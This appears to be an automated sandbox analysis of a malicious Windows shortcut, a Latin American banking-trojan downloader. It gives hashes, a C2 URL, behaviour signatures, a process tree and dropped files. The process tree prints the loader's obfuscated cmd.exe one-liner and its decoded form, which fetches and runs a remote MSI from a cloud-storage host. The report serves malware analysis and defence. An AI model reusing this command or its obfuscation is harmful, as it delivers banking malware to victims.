Analysis

  • max time kernel
    119s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-en-20211104
  • submitted
    23-11-2021 15:26

General

  • Target

    23 de Novembro.lnk

  • Size

    1KB

  • MD5

    dbc89ba629ae4c675b9c77d6e2e7db23

  • SHA1

    b27c719b2226145787b90a07494dc66b32817b4e

  • SHA256

    0b58d3b97a11a82aafda54aa682cddc11cf513dbcf980a145a04c8b5a362ccdf

  • SHA512

    7e5225364a21aae63a9aaef89aeb7994e0c902e81220a4e169463ccb32a17986858d2e53dd9208dea2c07012e4d24f891e67109ec1c2fd7337f2a40328853d86

Malware Config

Extracted

Family

latam_generic_downloader

C2

https://ym4dusty.s3.sa-east-1.amazonaws.com/softo.kn3

Signatures

  • Generic LATAM Downloader

    Generic Latin American MSI downloader used to drop various banking trojans.

  • Blocklisted process makes network request 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 7 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies Control Panel 2 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\23 de Novembro.lnk"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V/c "sET JIEX=^|morMiSEe +1 ^|cMiSEmMiSEd&&sET IeCXE=mMiSEsieMiSExec.eMiSExe /i httMiSEps://qMiSE9j.s3.eu-west-MiSE2.amazoMiSEnaws.com/setMiSEupMiSE.mMiSEsi&&sEt MAoK=!IeCXE:MiSE=!&&sEt ESxCa=!JIEX:MiSE=!&&cmd /c !MAoK! !ESxCa!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:860
      • C:\Windows\system32\cmd.exe
        cmd /c msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi |more +1 |cmd
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Windows\system32\msiexec.exe
          msiexec.exe /i https://q9j.s3.eu-west-2.amazonaws.com/setup.msi
          4⤵
          • Blocklisted process makes network request
          • Use of msiexec (install) with remote resource
          • Enumerates connected drives
          • Drops file in Windows directory
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:832
        • C:\Windows\system32\more.com
          more +1
          4⤵
            PID:1892
          • C:\Windows\system32\cmd.exe
            cmd
            4⤵
              PID:1040
      • C:\Windows\system32\msiexec.exe
        C:\Windows\system32\msiexec.exe /V
        1⤵
        • Enumerates connected drives
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1152
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 2457C7855EDB3C81A76071CF498112A4
          2⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:1924
          • C:\Windows\SysWOW64\Wbem\WMIC.exe
            "C:\Windows\System32\Wbem\WMIC.exe" process call create 'C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe'
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
      • C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe
        "C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe"
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies Control Panel
        • Suspicious use of WriteProcessMemory
        PID:292
        • C:\Program Files (x86)\Internet explorer\iexplore.exe
          "C:\Program Files (x86)\Internet explorer\iexplore.exe"
          2⤵
          • Loads dropped DLL
          • Adds Run key to start application
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:1200

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Defense Evasion

      Modify Registry

      1
      T1112

      Discovery

      Query Registry

      3
      T1012

      Peripheral Device Discovery

      1
      T1120

      System Information Discovery

      4
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.exe
        MD5

        1f26da52aea0b3dfe2e829665bd2474f

        SHA1

        a852a99e2982df75842ccfc274ea3f9c54d22859

        SHA256

        33a71ea2fd95ac5682a12fd55bea29afb77828b9cc10991f0a88600fbf335f32

        SHA512

        dfc9574f115969f36e4ca3746355112030f0550b77bca1cc2a3cf73694a47964fd20359d178b0db81479f6bea6d7fa6e26470a7ad8d4300da2435b8ed6c14b1d

      • C:\Users\Admin\Saved Games\Admin xlgrD\NQbke.~tmp
        MD5

        fa1f3bca7ab6fe1cdcecfbfba69262d5

        SHA1

        dc963018c7910bc0d1bd320ff4ce270b13f9434d

        SHA256

        bf7bf5943ff1c731d18b27eb1622f8eab30a13d709c74de11ff46e60869bfa7a

        SHA512

        c1b0ed4cda7e5f250efcecb505232f06bf2b6dd51badd5c6a3b08ef96333cba7fff7eb660e6a64873b0d13fc54fc872f0d908c99bd089650eccfafa1dd45c362

      • C:\Users\Admin\Saved Games\Admin xlgrD\NvSmartMax.dll
        MD5

        59a82c4b21f8229dfcb8a8934f15b8b3

        SHA1

        ebc5577f9d97c356061a33e9b02bd86b47fae722

        SHA256

        194c3092b2a438bc4a789b0490f0b2aab45771bc050f564e6d255e14241bccfe

        SHA512

        c3f1e32fb0086497f995088bc49baba612c9e4f921c0ac071f3fee7e6fbf214f5d8b94fc3a67581766619badca08661f50a2ce4c65ad404fe23215fd8b70945c

      • C:\Windows\Installer\MSIBD20.tmp
        MD5

        a76b0b64803b2686d55d2eeb9b9442c2

        SHA1

        110c2962118aa0e52a84b801cfea78942ec12095

        SHA256

        5967b8d98e036e290d727b345f753fc676f8dba882b1e21be996cd2c8eb68625

        SHA512

        f33eeed547e470d15cd523115b9427d968ae66a7627a8a99e490b8a5a09c8cd891fe8e9513bce52e18975ae0b349275dba32f92407cacb18afc2c1f1f98f5fd5

      • C:\Windows\Installer\MSIBFC6.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • C:\Windows\Installer\MSIC15D.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • \Users\Admin\Saved Games\Admin xlgrD\NvSmartMax.dll
        MD5

        c7edb816664326dc4a630f9b9b560ba1

        SHA1

        b349f7d0345b5d3e4c7f4ae19686017a16a3b9ae

        SHA256

        abf4c1a567ea350235fd4aa21a769288ea0cfe583c242356993b960dfd5461d9

        SHA512

        505e7feda6284a60b161c72f5654953e9bc1620018fb8ee7a9db034998c6d68d85f78658416686e2696bf5a4fb71d7fa45e96ecfce01cea79651375e26e7f56c

      • \Users\Admin\Saved Games\Admin xlgrD\NvSmartMax.dll
        MD5

        9c0c57f21878673b13e66709f152c9c7

        SHA1

        7d56bbbdbb99f0390a3e49ca5a04027a4d712879

        SHA256

        01fb64bada3093240168f9a5907e03de57e335fc8bdc6d5660e767fb8274c6b8

        SHA512

        0dc234aa33b2e7168c8c51212c7009d676ebe875aeb365f800c36e15697ad489a782c80a67dda791d0e18823d974e861d7f89964846b3adfd2f19b5156875598

      • \Windows\Installer\MSIBFC6.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • \Windows\Installer\MSIC15D.tmp
        MD5

        9f1e5d66c2889018daef4aef604eebc4

        SHA1

        b80294261c8a1635e16e14f55a3d76889ff2c857

        SHA256

        02a81aea451cdfa2cd6668e3b814c4e50c6025e36b70ab972a8cc68aba5b3222

        SHA512

        8f8cbba79d2b6541e8b603a4a395cb938d77c358563bd745449bfee107ee64b88254a79ca5dd72fa05798a75c1464e7cca52556829f258009a3d33c9c3c5d39b

      • memory/292-75-0x00000000007C0000-0x00000000019B1000-memory.dmp
        Filesize

        17.9MB

      • memory/832-58-0x0000000000000000-mapping.dmp
      • memory/860-56-0x0000000000000000-mapping.dmp
      • memory/1040-60-0x0000000000000000-mapping.dmp
      • memory/1120-57-0x0000000000000000-mapping.dmp
      • memory/1200-77-0x0000000000000000-mapping.dmp
      • memory/1512-55-0x000007FEFC3C1000-0x000007FEFC3C3000-memory.dmp
        Filesize

        8KB

      • memory/1672-71-0x0000000000000000-mapping.dmp
      • memory/1892-59-0x0000000000000000-mapping.dmp
      • memory/1924-64-0x0000000000000000-mapping.dmp
      • memory/1924-70-0x0000000000560000-0x0000000000561000-memory.dmp
        Filesize

        4KB

      • memory/1924-65-0x0000000076A21000-0x0000000076A23000-memory.dmp
        Filesize

        8KB